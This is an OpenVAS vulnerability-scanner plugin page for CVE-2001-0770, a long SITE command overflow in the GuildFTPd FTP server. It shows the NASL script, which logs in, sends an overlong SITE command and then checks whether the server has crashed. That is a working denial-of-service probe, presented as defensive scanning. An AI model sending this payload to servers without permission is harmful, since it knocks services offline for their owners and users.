Lucene search

K
openvasCopyright (C) 2004 David MaciejakOPENVAS:136141256231015851
HistoryNov 03, 2005 - 12:00 a.m.

GuildFTPd Long SITE Command Overflow

2005-11-0300:00:00
Copyright (C) 2004 David Maciejak
plugins.openvas.org
14

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

AI Score

6.8

Confidence

Low

EPSS

0.048

Percentile

92.8%

The remote FTP server seems to be vulnerable to denial service attack through
the SITE command when handling specially long request.

# SPDX-FileCopyrightText: 2004 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.15851");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/2782");
  script_cve_id("CVE-2001-0770");
  script_xref(name:"OSVDB", value:"5540");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("GuildFTPd Long SITE Command Overflow");
  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2004 David Maciejak");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_keys("ftp/login");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/guildftpd/detected");

  script_tag(name:"solution", value:"Upgrade or install another ftp server.");

  script_tag(name:"summary", value:"The remote FTP server seems to be vulnerable to denial service attack through
  the SITE command when handling specially long request.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner(port:port);
if ( ! banner || "GuildFTP" >!< banner )
  exit(0);

kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
password = kb_creds["pass"];
if(login)
{
  soc = open_sock_tcp(port);
  if(!soc)exit(0);

  if(ftp_authenticate(socket:soc, user:login, pass:password))
  {
    data = string("SITE ", crap(262), "\r\n");
    send(socket:soc, data:data);
    reply = ftp_recv_line(socket:soc);
    sleep(1);
    soc2 = open_sock_tcp(port);
    if(!soc2)
    {
      security_message(port);
    }
    close(soc2);
    data = string("QUIT\n");
    send(socket:soc, data:data);
  }
  close(soc);
}

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

AI Score

6.8

Confidence

Low

EPSS

0.048

Percentile

92.8%

Related for OPENVAS:136141256231015851